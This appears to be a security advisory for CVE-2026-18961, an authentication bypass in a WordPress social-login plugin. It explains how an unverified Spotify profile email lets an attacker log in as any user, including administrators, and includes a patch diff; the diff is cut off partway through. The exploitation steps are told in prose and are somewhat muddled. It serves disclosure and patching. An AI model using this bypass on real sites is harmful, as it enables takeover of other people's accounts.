Published : August 11, 2026

CVE-2026-18961: Social Login, Passkeys, Magic Link & Email OTP – Passwordless Login by VentraConnect <= 1.4.3 Unauthenticated Authentication Bypass via Spotify OAuth Callback PoC, Patch Analysis & Rule

Severity High (CVSS 8.1)
CWE 287
Vulnerable Version 1.4.3
Patched Version 1.4.4
Disclosed August 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-18961:

The Social Login, Passkeys, Magic Link & Email OTP – Passwordless Login by VentraConnect plugin for WordPress, in versions up to and including 1.4.3, contains an unauthenticated authentication bypass vulnerability. The flaw originates in the plugin’s handling of the OAuth callback response from Spotify. The plugin trusts an unverified email address returned by Spotify’s /v1/me endpoint as definitive proof of mailbox ownership, allowing an attacker to authenticate as any existing WordPress user, including administrators.

Root Cause: The vulnerability stems from the absence of an email verification gate in the account-matching logic. In the vulnerable code, the `link_or_login_user()` method in `includes/class-user-links.php` accepts a `$profile` array. It extracts the email via `$email_raw = $profile[’email’] ?? ”` and sanitizes it with `sanitize_email()`. If no existing user is found by the provider-specific identifier (`find_user_by_connection()`), the code directly performs `get_user_by(’email’, $email)` without any check for proof of email ownership. This occurs because `Generic::normalize_common()` in the provider normalizer blindly copies the unverified `email` field from the provider’s raw response into the normalized `$profile[’email’]` value. The vulnerable flow lacks a call to `is_email_trusted_for_account_matching()`, which is the new function introduced in the patched version. This function requires explicit verification flags (`email_verified`, `verified`) in the `$profile` or `$profile[‘raw’]` arrays before allowing email-based account matching. For the ‘spotify’ provider, the switch statement in the patched code falls through to the default `return false;`, meaning email-based user matching is completely disabled for Spotify accounts.

Exploitation: An attacker can exploit this by initiating a crafted Spotify OAuth flow. The attacker must create or control a Spotify application and use the plugin’s OAuth callback URL (typically `/wp-admin/admin-ajax.php?action=ventraconnect_sl_callback` or a similar endpoint) as the redirect URI. After the victim authenticates with Spotify on the attacker’s app, the attacker obtains an authorization code. They then exchange this code for an access token. The attacker modifies the user’s email address in their Spotify account profile to match the email address of the target WordPress user (e.g., `admin@example.com`). The attacker then uses the access token to fetch the profile from the `/v1/me` endpoint, which returns the attacker-controlled email in the `email` field. The plugin’s vulnerable code in `link_or_login_user()` trusts this field, finds the WordPress user with that email via `get_user_by(’email’, $email)`, and then calls `wp_set_auth_cookie($user_id, true)`, granting the attacker a persistent authentication cookie for the target user’s WordPress account. No nonce, password, or verification code is required.

Patch Analysis: The patch introduces a critical new private static method, `is_email_trusted_for_account_matching()`, in the `User_Links` class within `includes/class-user-links.php`. This method acts as a gatekeeper. It accepts the provider slug and the profile array, and only returns `true` if the provider is explicitly known to supply a verified email (e.g., Google, Microsoft, LinkedIn) and the `email_verified` or `verified` flag is explicitly set to a truthy value. The most important change is in the `link_or_login_user()` method itself. The vulnerable conditional `if ( ! $user_id && $email )` is replaced with `if ( ! $user_id && 0 === $current_user_id && $email && self::is_email_trusted_for_account_matching( $provider, $profile ) )`. This new condition ensures that email-based user matching only occurs when the user is not currently logged in (preventing account linking attacks) and, critically, only when the provider has explicitly verified the email address. For Spotify, the function returns `false`, completely eliminating the email-based attack vector for this provider. This forces the plugin to either create a new account or require a manual linking step, preventing the authentication bypass.

Impact: Successful exploitation allows an unauthenticated attacker to log in as any existing WordPress user, including users with the Administrator role. The attacker can achieve this by simply controlling the email address in their Spotify profile and knowing or guessing the target user’s email. Once logged in as an administrator, the attacker gains full control over the WordPress site. They can install malicious plugins, modify or delete content, create new administrative accounts, and potentially achieve remote code execution on the server by uploading malicious files or modifying theme and plugin files.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ventraconnect-social-login/includes/class-user-links.php
+++ b/ventraconnect-social-login/includes/class-user-links.php
@@ -1,572 +1,605 @@
-<?php
-namespace VentraConnectSocialLogin;
-use function VentraConnectSocialLoginHelperscan_create_new_user_for_method;
-use function VentraConnectSocialLoginHelperscan_create_new_account;
-
-if ( ! defined( 'ABSPATH' ) ) { exit; }
-
-if ( ! class_exists( 'VentraConnectSocialLoginProvidersVCS_Provider_Data', false ) ) {
-    $ventraconnect_sl_normalizer_path = defined( 'VENTRACONNECT_SL_PLUGIN_DIR' ) ? VENTRACONNECT_SL_PLUGIN_DIR . 'includes/providers/normalizer.php' : __DIR__ . '/providers/normalizer.php';
-    if ( file_exists( $ventraconnect_sl_normalizer_path ) ) {
-        require_once $ventraconnect_sl_normalizer_path;
-    }
-}
-
-/**
- * Link/unlink provider with WordPress users (normalized storage).
- */
-class User_Links {
-    const META_CONNECTIONS        = '_ventraconnect_sl_linked_providers';
-    const META_CONNECTIONS_LEGACY = '_ventraconnect_sl_connections';
-    const META_PRIMARY            = '_ventraconnect_sl_primary_provider';
-    const EPHEMERAL_PROVIDERS     = [ 'magic_link', 'otp_email' ];
-
-    /**
-     * Optional helper to sanitize and verify unlink requests coming via GET.
-     * Does not change existing behavior unless explicitly invoked by callers.
-     */
-    public static function maybe_verify_unlink_from_query(): void {
-        // Sanitize GET params
-        // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- sanitized immediately below.
-        $unlink_raw = isset( $_GET['ventraconnect_sl_unlink'] ) ? wp_unslash( (string) $_GET['ventraconnect_sl_unlink'] ) : '';
-        $unlink_key = sanitize_key( $unlink_raw );
-
-        // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- sanitized immediately via sanitize_text_field() and used only in wp_verify_nonce checks.
-        $nonce_raw         = isset( $_GET['_wpnonce'] ) ? sanitize_text_field( wp_unslash( (string) $_GET['_wpnonce'] ) ) : '';
-        $nonce_legacy_raw  = isset( $_GET['_wpnonce_legacy'] ) ? sanitize_text_field( wp_unslash( (string) $_GET['_wpnonce_legacy'] ) ) : '';
-        $nonce             = $nonce_raw;
-        $nonce_legacy      = $nonce_legacy_raw;
-
-        // Verify nonce before unlinking if requested
-        if ( $unlink_key ) {
-            if ( is_admin() && ! current_user_can( 'read' ) ) {
-                wp_die( esc_html__( 'Security check failed.', 'ventraconnect-social-login' ) );
-            }
-            // Verify only canonical unlink actions.
-            $ok = (
-                ( ! empty( $nonce ) && (
-                    wp_verify_nonce( $nonce, 'ventraconnect_sl_unlink_' . $unlink_key ) || wp_verify_nonce( $nonce, 'ventraconnect_sl_unlink' )
-                ) )
-                || ( ! empty( $nonce_legacy ) && wp_verify_nonce( $nonce_legacy, 'ventraconnect_sl_unlink_' . $unlink_key ) )
-            );
-            if ( ! $ok ) {
-                wp_die( esc_html__( 'Security check failed.', 'ventraconnect-social-login' ) );
-            }
-        }
-    }
-
-    private static function normalize_provider_slug( $provider ): string {
-        $slug = strtolower( sanitize_key( (string) $provider ) );
-        if ( 'x' === $slug ) {
-            return 'twitter';
-        }
-        return $slug;
-    }
-
+<?php
+namespace VentraConnectSocialLogin;
+use function VentraConnectSocialLoginHelperscan_create_new_user_for_method;
+use function VentraConnectSocialLoginHelperscan_create_new_account;
+
+if ( ! defined( 'ABSPATH' ) ) { exit; }
+
+if ( ! class_exists( 'VentraConnectSocialLoginProvidersVCS_Provider_Data', false ) ) {
+    $ventraconnect_sl_normalizer_path = defined( 'VENTRACONNECT_SL_PLUGIN_DIR' ) ? VENTRACONNECT_SL_PLUGIN_DIR . 'includes/providers/normalizer.php' : __DIR__ . '/providers/normalizer.php';
+    if ( file_exists( $ventraconnect_sl_normalizer_path ) ) {
+        require_once $ventraconnect_sl_normalizer_path;
+    }
+}
+
+/**
+ * Link/unlink provider with WordPress users (normalized storage).
+ */
+class User_Links {
+    const META_CONNECTIONS        = '_ventraconnect_sl_linked_providers';
+    const META_CONNECTIONS_LEGACY = '_ventraconnect_sl_connections';
+    const META_PRIMARY            = '_ventraconnect_sl_primary_provider';
+    const EPHEMERAL_PROVIDERS     = [ 'magic_link', 'otp_email' ];
+
+    /**
+     * Optional helper to sanitize and verify unlink requests coming via GET.
+     * Does not change existing behavior unless explicitly invoked by callers.
+     */
+    public static function maybe_verify_unlink_from_query(): void {
+        // Sanitize GET params
+        // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- sanitized immediately below.
+        $unlink_raw = isset( $_GET['ventraconnect_sl_unlink'] ) ? wp_unslash( (string) $_GET['ventraconnect_sl_unlink'] ) : '';
+        $unlink_key = sanitize_key( $unlink_raw );
+
+        // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- sanitized immediately via sanitize_text_field() and used only in wp_verify_nonce checks.
+        $nonce_raw         = isset( $_GET['_wpnonce'] ) ? sanitize_text_field( wp_unslash( (string) $_GET['_wpnonce'] ) ) : '';
+        $nonce_legacy_raw  = isset( $_GET['_wpnonce_legacy'] ) ? sanitize_text_field( wp_unslash( (string) $_GET['_wpnonce_legacy'] ) ) : '';
+        $nonce             = $nonce_raw;
+        $nonce_legacy      = $nonce_legacy_raw;
+
+        // Verify nonce before unlinking if requested
+        if ( $unlink_key ) {
+            if ( is_admin() && ! current_user_can( 'read' ) ) {
+                wp_die( esc_html__( 'Security check failed.', 'ventraconnect-social-login' ) );
+            }
+            // Verify only canonical unlink actions.
+            $ok = (
+                ( ! empty( $nonce ) && (
+                    wp_verify_nonce( $nonce, 'ventraconnect_sl_unlink_' . $unlink_key ) || wp_verify_nonce( $nonce, 'ventraconnect_sl_unlink' )
+                ) )
+                || ( ! empty( $nonce_legacy ) && wp_verify_nonce( $nonce_legacy, 'ventraconnect_sl_unlink_' . $unlink_key ) )
+            );
+            if ( ! $ok ) {
+                wp_die( esc_html__( 'Security check failed.', 'ventraconnect-social-login' ) );
+            }
+        }
+    }
+
+    private static function normalize_provider_slug( $provider ): string {
+        $slug = strtolower( sanitize_key( (string) $provider ) );
+        if ( 'x' === $slug ) {
+            return 'twitter';
+        }
+        return $slug;
+    }
+
     private static function allow_store_provider( $provider ): bool {
         $provider = self::normalize_provider_slug( $provider );
         if ( empty( $provider ) ) { return false; }
         return ! in_array( $provider, self::EPHEMERAL_PROVIDERS, true );
     }

-    /**
-     * Link profile to user or create a new user; log them in.
-     * Profile keys: provider,id,email,name,avatar,raw
-     * @param array $profile
-     * @param array $tokens
-     * @return array|WP_Error When successful returns ['user_id' => int, 'is_new_user' => bool]
-     */
-    public function link_or_login_user( $profile, array $tokens = [] ) {
-        $is_new_user = false;
-        $meta_source = [];
-        if ( isset( $profile['meta'] ) && is_array( $profile['meta'] ) ) {
-            $meta_source = (array) $profile['meta'];
-        }
+    private static function is_explicit_true( $value ): bool {
+        return true === $value || 1 === $value || '1' === $value || 'true' === strtolower( (string) $value );
+    }

-        $email_raw = $profile['email'] ?? '';
-        $email     = sanitize_email( $email_raw );
-        $provider  = self::normalize_provider_slug( $profile['provider'] ?? '' );
-        $pid       = sanitize_text_field( $profile['id'] ?? '' );
-        $profile['provider'] = $provider;
+    private static function is_email_trusted_for_account_matching( string $provider, array $profile ): bool {
+        $provider = self::normalize_provider_slug( $provider );
+        $raw      = is_array( $profile['raw'] ?? null ) ? (array) $profile['raw'] : [];

-        $meta_email_granted = $meta_source['email_granted'] ?? false;
-        $email_granted = filter_var( $meta_email_granted, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE );
-        if ( null === $email_granted ) {
-            $email_granted = (bool) $meta_email_granted;
-        }
-        $email_error = isset( $meta_source['email_error'] ) ? sanitize_text_field( (string) $meta_source['email_error'] ) : '';
-        if ( empty( $pid ) || empty( $provider ) ) {
-            $this->log_x_attempt( $provider, $email_granted, $email_error, false );
-            return new WP_Error( 'ventraconnect_sl_missing_profile', __( 'Missing profile data.', 'ventraconnect-social-login' ) );
-        }
+        switch ( $provider ) {
+            case 'google':
+            case 'microsoft':
+            case 'linkedin':
+            case 'slack':
+            case 'yahoo':
+            case 'line':
+                return (
+                    ( array_key_exists( 'email_verified', $profile ) && self::is_explicit_true( $profile['email_verified'] ) )
+                    || ( array_key_exists( 'email_verified', $raw ) && self::is_explicit_true( $raw['email_verified'] ) )
+                );

-        $allow_new_account = can_create_new_account();
+            case 'discord':
+                return (
+                    ( array_key_exists( 'email_verified', $profile ) && self::is_explicit_true( $profile['email_verified'] ) )
+                    || ( array_key_exists( 'verified', $raw ) && self::is_explicit_true( $raw['verified'] ) )
+                );

-        // phpcs:disable WordPress.Security.NonceVerification.Recommended
-        $sl_ctx = '';
-        if ( isset( $_REQUEST['ventraconnect_sl_ctx'] ) ) {
-            $sl_ctx = sanitize_text_field( wp_unslash( (string) $_REQUEST['ventraconnect_sl_ctx'] ) );
+            case 'github':
+                return array_key_exists( 'email_verified', $profile ) && self::is_explicit_true( $profile['email_verified'] );
         }
-        // phpcs:enable WordPress.Security.NonceVerification.Recommended
-        $ctx = $sl_ctx;

+        return false;
+    }
+
+    /**
+     * Link profile to user or create a new user; log them in.
+     * Profile keys: provider,id,email,name,avatar,raw
+     * @param array $profile
+     * @param array $tokens
+     * @return array|WP_Error When successful returns ['user_id' => int, 'is_new_user' => bool]
+     */
+    public function link_or_login_user( $profile, array $tokens = [] ) {
+        $is_new_user = false;
+        $meta_source = [];
+        if ( isset( $profile['meta'] ) && is_array( $profile['meta'] ) ) {
+            $meta_source = (array) $profile['meta'];
+        }
+
+        $email_raw = $profile['email'] ?? '';
+        $email     = sanitize_email( $email_raw );
+        $provider  = self::normalize_provider_slug( $profile['provider'] ?? '' );
+        $pid       = sanitize_text_field( $profile['id'] ?? '' );
+        $profile['provider'] = $provider;
+
+        $meta_email_granted = $meta_source['email_granted'] ?? false;
+        $email_granted = filter_var( $meta_email_granted, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE );
+        if ( null === $email_granted ) {
+            $email_granted = (bool) $meta_email_granted;
+        }
+        $email_error = isset( $meta_source['email_error'] ) ? sanitize_text_field( (string) $meta_source['email_error'] ) : '';
+        if ( empty( $pid ) || empty( $provider ) ) {
+            $this->log_x_attempt( $provider, $email_granted, $email_error, false );
+            return new WP_Error( 'ventraconnect_sl_missing_profile', __( 'Missing profile data.', 'ventraconnect-social-login' ) );
+        }
+
+        $allow_new_account = can_create_new_account();
+
+        // phpcs:disable WordPress.Security.NonceVerification.Recommended
+        $sl_ctx = '';
+        if ( isset( $_REQUEST['ventraconnect_sl_ctx'] ) ) {
+            $sl_ctx = sanitize_text_field( wp_unslash( (string) $_REQUEST['ventraconnect_sl_ctx'] ) );
+        }
+        // phpcs:enable WordPress.Security.NonceVerification.Recommended
+        $ctx = $sl_ctx;
+
+        $current_user_id = get_current_user_id();
         $user_id = $this->find_user_by_connection( $provider, $pid );
-        if ( ! $user_id && $email ) {
+        if ( ! $user_id && 0 === $current_user_id && $email && self::is_email_trusted_for_account_matching( $provider, $profile ) ) {
             $user = get_user_by( 'email', $email );
             if ( $user ) {
                 $user_id = (int) $user->ID;
             }
         }
-
-        // Profile-linking contexts: if no user found yet but a user is logged in,
-        // link this provider to the current user instead of creating a new account.
+
+        // Profile-linking contexts: if no user found yet but a user is logged in,
+        // link this provider to the current user instead of creating a new account.
         if ( ! $user_id ) {
-            $current_user_id = get_current_user_id();
             if ( $current_user_id > 0 ) {
                 $is_profile_link = false;
-                $ctx_str        = (string) $ctx;
-
-                // Explicit core WP profile context.
-                if ( 'wp_profile' === $ctx_str ) {
-                    $is_profile_link = true;
-                } else {
-                    // Generic rule: any ctx containing "profile" or "account"
-                    // is treated as an account/profile page, not a login form.
-                    if ( false !== strpos( $ctx_str, 'profile' ) || false !== strpos( $ctx_str, 'account' ) ) {
-                        $is_profile_link = true;
-                    }
-                }
-
-                if ( $is_profile_link ) {
-                    $user_id = $current_user_id;
-                }
-            }
-        }
-
-        $is_x = ( 'twitter' === $provider );
-
-        if ( ! $user_id && $block_lifter_new_account ) {
-            return new WP_Error(
-                'ventraconnect_sl_lifter_new_account_blocked',
-                __( 'We couldn’t find a student account for this social login. Please register for an account first, then sign in with social.', 'ventraconnect-social-login' )
-            );
-        }
-
-        if ( ! $user_id && $block_learnpress_new_account ) {
-            return new WP_Error(
-                'ventraconnect_sl_learnpress_new_account_blocked',
-                __( 'We couldnƒ?Tt find a student account for this social login. Please use the LearnPress registration or checkout form to create your account first, then sign in with social.', 'ventraconnect-social-login' )
-            );
-        }
-
-          if ( ! $user_id && $block_memberpress_new_account ) {
-              return new WP_Error(
-                  'ventraconnect_sl_memberpress_new_account_blocked',
-                  __( 'We couldn't find an existing MemberPress account for this social login. Please complete your membership signup first, then sign in with social.', 'ventraconnect-social-login' )
-              );
-          }
-
-          if ( ! $user_id ) {
-            $guardrail_args = [
-                'email'    => $email,
-                'provider' => $provider,
-                'profile'  => $profile,
-            ];
-
-            $can_create = can_create_new_user_for_method( 'social', $ctx, $guardrail_args );
-
-            if ( ! $can_create ) {
-                $this->log_x_attempt( $provider, $email_granted, $email_error, false );
-                return new WP_Error(
-                    'ventraconnect_sl_new_accounts_disabled',
-                    __( 'You can’t create a new account with social login on this screen. Please register using the site’s sign-up form first, then sign in with your social account.', 'ventraconnect-social-login' )
-                );
-            }
-
-            if ( empty( $email ) && $is_x ) {
-                if ( ! $allow_new_account ) {
-                    $this->log_x_attempt( $provider, $email_granted, $email_error, false );
-                    return new WP_Error( 'ventraconnect_sl_wc_new_account_blocked', __( 'Creating a new WooCommerce account via social login is disabled. Please sign in with an existing account.', 'ventraconnect-social-login' ) );
-                }
-                $user_id = $this->find_user_by_connection( $provider, $pid );
-                if ( ! $user_id ) {
-                    $username = $this->unique_login_from_username( $profile['username'] ?? '', 'x_' . $pid );
-                    $args = [
-                        'user_login'   => $username,
-                        'user_pass'    => ventraconnect_sl_generate_internal_account_password(),
-                        'user_email'   => '',
-                        'display_name' => sanitize_text_field( $profile['name'] ?? ( $profile['username'] ?? $username ) ),
-                    ];
-                    $role = $this->resolve_social_login_role();
-                    if ( $role ) {
-                        $args['role'] = $role;
-                    }
-                    $user_id = wp_insert_user( $args );
-                    if ( is_wp_error( $user_id ) ) {
-                        $this->log_x_attempt( $provider, $email_granted, $email_error, false );
-                        return $user_id;
-                    }
-                    ventraconnect_sl_mark_passwordless_account_created( (int) $user_id, 'social_' . sanitize_key( (string) $provider ), $ctx );
-                    $is_new_user = true;
-                }
-            } else {
-                if ( ! $allow_new_account ) {
-                    $this->log_x_attempt( $provider, $email_granted, $email_error, false );
-                    return new WP_Error( 'ventraconnect_sl_wc_new_account_blocked', __( 'Creating a new WooCommerce account via social login is disabled. Please sign in with an existing account.', 'ventraconnect-social-login' ) );
-                }
-                $user_id = $this->find_user_by_connection( $provider, $pid );
-                if ( ! $user_id ) {
-                    $username = $this->unique_login_from_email_or_name( $email, $profile['name'] ?? ( $provider . '_' . $pid ) );
-                    $args     = [
-                        'user_login'   => $username,
-                        'user_pass'    => ventraconnect_sl_generate_internal_account_password(),
-                        'user_email'   => $email,
-                        'display_name' => sanitize_text_field( $profile['name'] ?? $username ),
-                    ];
-                    $role = $this->resolve_social_login_role();
-                    if ( $role ) {
-                        $args['role'] = $role;
-                    }
-                    $user_id = wp_insert_user( $args );
-                    if ( is_wp_error( $user_id ) ) {
-                        $this->log_x_attempt( $provider, $email_granted, $email_error, false );
-                        return $user_id;
-                    }
-                    ventraconnect_sl_mark_passwordless_account_created( (int) $user_id, 'social_' . sanitize_key( (string) $provider ), $ctx );
-                    $is_new_user = true;
-                }
-            }
-        }
-
-        if ( self::allow_store_provider( $provider ) ) {
-            $profile['email'] = $email;
-            $this->link_provider( $user_id, $provider, $pid, $profile, $tokens );
-        }
-
-        $current_user_before = get_current_user_id();
-        $should_set_auth     = ( 0 === $current_user_before ) || ( $user_id === $current_user_before );
-
-        if ( $should_set_auth ) {
-            wp_set_current_user( $user_id );
-            wp_set_auth_cookie( $user_id, true );
-            $userdata = get_userdata( $user_id );
-            if ( $userdata ) {
-                // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- core WordPress hook.
-                do_action( 'wp_login', $userdata->user_login, $userdata );
-            }
-        }
-
-        $this->log_x_attempt( $provider, $email_granted, $email_error, false );
-
-        return [
-            'user_id'     => (int) $user_id,
-            'is_new_user' => $is_new_user,
-        ];
-    }
-
-    /**
-     * Upsert provider connection for a user (idempotent per provider).
-     */
-    public function link_provider( int $user_id, string $provider, string $provider_user_id, array $profile = [], array $tokens = [] ) {
-        $provider = self::normalize_provider_slug( $provider );
-        if ( ! self::allow_store_provider( $provider ) ) {
-            return;
-        }
-        $provider_user_id = sanitize_text_field( $provider_user_id );
-
-        $owner = $this->find_user_by_connection( $provider, $provider_user_id );
-        if ( $owner && $owner !== $user_id ) {
-            $this->unlink( $owner, $provider );
-        }
-
-        $connections = $this->read_connections( $user_id );
-        $by_slug = [];
-        foreach ( $connections as $conn ) {
-            $slug = self::normalize_provider_slug( $conn['provider'] ?? '' );
-            if ( ! $slug ) { continue; }
-            $by_slug[ $slug ] = $conn;
-        }
-        $now = current_time( 'mysql' );
-        $existing = $by_slug[ $provider ] ?? null;
-        $linked_at = $existing['linked_at'] ?? $now;
-
-        $normalized = [];
-        if ( class_exists( 'VentraConnectSocialLoginProvidersVCS_Provider_Data', false ) ) {
-            $normalized = VentraConnectSocialLoginProvidersVCS_Provider_Data::normalize( $provider, (array) $profile );
-        }
-
-        $incoming_flags = [];
-        if ( ! empty( $profile['flags'] ) && is_array( $profile['flags'] ) ) {
-            foreach ( $profile['flags'] as $flag ) {
-                $incoming_flags[] = sanitize_key( $flag );
-            }
-        }
-        $existing_flags   = (array) ( $existing['profile']['snapshot']['flags'] ?? [] );
-        $normalized_flags = (array) ( $normalized['flags'] ?? [] );
-        $merged_flags = array_values( array_unique( array_filter( array_merge( $normalized_flags, $incoming_flags, $existing_flags ) ) ) );
-
-        $profile_payload = [
-            'name'   => sanitize_text_field( $normalized['display_name'] ?? $profile['name'] ?? ( $existing['profile']['name'] ?? '' ) ),
-            'avatar' => esc_url_raw( $normalized['avatar_url'] ?? $profile['avatar'] ?? ( $existing['profile']['avatar'] ?? '' ) ),
-            'snapshot' => [
-                'id'      => (string) ( $normalized['id'] ?? $profile['id'] ?? ( $existing['profile']['snapshot']['id'] ?? '' ) ),
-                'email'   => (string) ( $normalized['email'] ?? $profile['email'] ?? ( $existing['profile']['snapshot']['email'] ?? '' ) ),
-                'locale'  => (string) ( $normalized['locale'] ?? ( $existing['profile']['snapshot']['locale'] ?? '' ) ),
-                'flags'   => $merged_flags,
-            ],
-        ];
-
-        $tokens_payload = ( is_array( $tokens ) && ! empty( $tokens ) ) ? $tokens : ( $existing['tokens'] ?? [] );
-        $email = sanitize_email( $profile['email'] ?? '' );
-        if ( '' === $email ) {
-            $email = sanitize_email( $existing['email'] ?? '' );
-        }
-
-        $by_slug[ $provider ] = [
-            'provider'         => $provider,
-            'provider_user_id' => $provider_user_id,
-            'email'            => $email,
-            'profile'          => $profile_payload,
-            'tokens'           => $tokens_payload,
-            'linked_at'        => $linked_at,
-            'last_login_at'    => $now,
-        ];
-
-        $this->write_connections( $user_id, array_values( $by_slug ) );
-
-        $primary = VentraConnectSocialLoginAdminSettingsPersistence::getUserMeta( $user_id, self::META_PRIMARY, true, '' );
-        if ( '' === $primary ) {
-            $primary = VentraConnectSocialLoginAdminSettingsPersistence::getUserMeta( $user_id, 'ventraconnect_sl_last_login_provider', true, '' );
-        }
-        if ( ! $primary ) {
-            VentraConnectSocialLoginAdminSettingsPersistence::updateUserMeta( $user_id, self::META_PRIMARY, $provider );
-        }
-
-        // Detect whether this provider link is new for this user.
-        // If there was no existing row before upserting, treat as a new link.
-        $is_new_link = empty( $existing );
-
-        $event_profile = [
-            'provider_user_id' => $provider_user_id,
-            'email'            => $email,
-            'profile'          => $profile_payload,
-            'tokens'           => $tokens_payload,
-            // Expose "is_new_link" both as a dedicated arg and inside the payload
-            // so 3-arg listeners can still read it.
-            'is_new_link'      => $is_new_link,
-        ];
-
-        /**
-         * Fires after a provider has been linked to a user account.
-         *
-         * @since 1.1.0
-         */
-        do_action( 'ventraconnect_sl_social_linked', $user_id, $provider, $event_profile, $is_new_link );
-        do_action( 'ventraconnect_sl_after_user_linked', $user_id, $provider, $by_slug[ $provider ] );
-    }
-
-    /**
-     * Return normalized provider connections for a user.
-     */
-    public function get_connections( int $user_id ): array {
-        return $this->read_connections( $user_id );
-    }
-
-    /**
-     * Find user id by provider and provider_user_id (normalized scan).
-     */
-    public function find_user_by_connection( $provider, $provider_user_id ) {
-        $provider = self::normalize_provider_slug( $provider );
-        if ( ! self::allow_store_provider( $provider ) ) {
-            return 0;
-        }
-        $provider_user_id = sanitize_text_field( $provider_user_id );
-        $args = [
-            // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query -- Required for user lookup by provider, only runs on demand, not on every page load.
-            'meta_query' => [
-                [
-                    'key'     => self::META_CONNECTIONS,
-                    'compare' => 'EXISTS',
-                ],
-            ],
-            'number' => 50,
-            'fields' => 'ids',
-        ];
-        $users = get_users( $args );
-        foreach ( $users as $uid ) {
-            $conns = $this->read_connections( (int) $uid );
-            foreach ( $conns as $conn ) {
-                if ( self::normalize_provider_slug( $conn['provider'] ?? '' ) === $provider && ( $conn['provider_user_id'] ?? '' ) === $provider_user_id ) {
-                    return (int) $uid;
-                }
-            }
-        }
-        return 0;
-    }
-
-    /**
-     * Explicit unlink for settings UI.
-     */
-    public function unlink( $user_id, $provider ) {
-        $provider = self::normalize_provider_slug( $provider );
-        $connections = $this->read_connections( $user_id );
-        $connections = array_values( array_filter( $connections, function( $c ) use ( $provider ) {
-            return self::normalize_provider_slug( $c['provider'] ?? '' ) !== $provider;
-        } ) );
-        $this->write_connections( $user_id, $connections );
-        $primary = VentraConnectSocialLoginAdminSettingsPersistence::getUserMeta( $user_id, self::META_PRIMARY, true, '' );
-        if ( '' === $primary ) {
-            $primary = VentraConnectSocialLoginAdminSettingsPersistence::getUserMeta( $user_id, 'ventraconnect_sl_last_login_provider', true, '' );
-        }
-        if ( strtolower( $primary ) === $provider ) {
-            VentraConnectSocialLoginAdminSettingsPersistence::deleteUserMeta( $user_id, self::META_PRIMARY );
-            VentraConnectSocialLoginAdminSettingsPersistence::deleteUserMeta( $user_id, 'ventraconnect_sl_last_login_provider' );
-        }
-    }
-
-    private function woo_linking_rules(): array {
-        $defaults = [
-            'allow_new_account'  => true,
-        ];
-        $ctx_raw = filter_input( INPUT_POST, 'ventraconnect_sl_ctx', FILTER_UNSAFE_RAW, FILTER_NULL_ON_FAILURE );
-        if ( null === $ctx_raw || '' === $ctx_raw || false === $ctx_raw ) {
-            $ctx_raw = filter_input( INPUT_GET, 'ventraconnect_sl_ctx', FILTER_UNSAFE_RAW, FILTER_NULL_ON_FAILURE );
-        }
-        if ( null === $ctx_raw || '' === $ctx_raw || false === $ctx_raw ) {
-            return $defaults;
-        }
-        $ctx_raw = is_string( $ctx_raw ) ? $ctx_raw : '';
-        $ctx = sanitize_text_field( wp_unslash( $ctx_raw ) );
-        if ( 'checkout' !== $ctx ) { return $defaults; }
-        $settings = $this->get_wc_settings();
-        $linking = (array) ( $settings['linking'] ?? [] );
-        $defaults['allow_new_account']  = ! empty( $linking['allow_new_account'] );
-        return $defaults;
-    }
-
-    /**
-     * Determine which role should be applied to newly created users.
-     */
-    private function resolve_social_login_role(): ?string {
-        if ( class_exists( 'VentraConnectSocialLoginProHelpersUserRoles' ) ) {
-            $role = VentraConnectSocialLoginProHelpersUserRoles::resolve_default_social_role();
-            if ( is_string( $role ) && $role !== '' ) {
-                return $role;
-            }
-        }
-        return null;
-    }
-
-    private function get_wc_settings(): array {
-        if ( function_exists( 'VentraConnectSocialLoginModulesWooCommerceventraconnect_sl_wc_get_settings' ) ) {
-            return VentraConnectSocialLoginModulesWooCommerceventraconnect_sl_wc_get_settings();
-        }
-        return (array) apply_filters( 'ventraconnect_sl_wc_settings', [] );
-    }
-
-    /**
-     * Build a unique username.
-     */
-    private function unique_login_from_email_or_name( $email, $fallback ) {
-        $base = $email ? sanitize_user( current( explode( '@', $email ) ), true ) : sanitize_user( $fallback, true );
-        if ( empty( $base ) ) { $base = 'user_' . wp_generate_password( 6, false ); }
-        $login = $base;
-        $i = 1;
-        while ( username_exists( $login ) ) {
-            $login = $base . '_' . $i++;
-        }
-        return $login;
-    }
-
-    private function unique_login_from_username( $username, $fallback ) {
-        $base = sanitize_user( (string) $username, true );
-        if ( '' === $base ) {
-            return $this->unique_login_from_email_or_name( '', $fallback );
-        }
-        $login = $base;
-        $i = 1;
-        while ( username_exists( $login ) ) {
-            $login = $base . '_' . $i++;
-        }
-        return $login;
-    }
-
-    private function log_x_attempt( string $provider, $email_granted, string $email_error, bool $used_placeholder ): void {
-        if ( self::normalize_provider_slug( $provider ) !== 'twitter' ) {
-            return;
-        }
-        $granted = filter_var( $email_granted, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE );
-        if ( null === $granted ) {
-            $granted = (bool) $email_granted;
-        }
-        Logger::auth( 'x', [
-            'email_granted'    => $granted,
-            'email_error'      => $email_error,
-            'used_placeholder' => $used_placeholder,
-        ] );
-    }
-
-    /**
-     * Load and normalize connections for a user.
-     */
-    private function read_connections( int $user_id ): array {
-        $current = VentraConnectSocialLoginAdminSettingsPersistence::getUserMeta( $user_id, self::META_CONNECTIONS, true, [] );
-        if ( ! is_array( $current ) ) {
-            $current = [];
-        }
-        $normalized = $this->normalize_connections( $current );
-        if ( $normalized !== $current || ! metadata_exists( 'user', $user_id, self::META_CONNECTIONS ) ) {
-            VentraConnectSocialLoginAdminSettingsPersistence::updateUserMeta( $user_id, self::META_CONNECTIONS, $normalized );
-        }
-        // Drop any legacy mirror if present.
-        VentraConnectSocialLoginAdminSettingsPersistence::deleteUserMeta( $user_id, self::META_CONNECTIONS_LEGACY );
-        return $normalized;
-    }
-
-    private function write_connections( int $user_id, array $connections ): void {
